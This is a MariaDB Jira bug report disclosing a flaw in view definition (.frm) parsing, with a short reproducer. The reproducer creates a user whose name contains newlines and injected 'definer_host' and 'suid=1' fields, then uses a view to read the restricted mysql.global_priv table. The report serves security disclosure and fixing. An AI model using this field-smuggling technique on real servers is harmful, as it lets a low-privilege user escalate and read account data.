[MDEV-40484] ambiguous view frm parsing when username includes \n - Jira

XML

Word

Printable

Bug Category:
Can result in unexpected behaviour
Release Note Summary:
Views now escape user names in the view frm file; old views where the definer name included a backslash will need to be recreated

create user 'root

definer_host=localhost

suid=1'@localhost;

--connect u,localhost,'root

definer_host=localhost

suid=1';

--error ER_TABLEACCESS_DENIED_ERROR

select group_concat(user,'@',host) from mysql.global_priv;

create function f() returns text sql security invoker

  return (select group_concat(user,'@',host) from mysql.global_priv);

create view v as select f();

select * from v;

Reported by Ben Bidner (Automattic.com Security Team).

Estimated:

Remaining:

Logged:

2h 40m

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.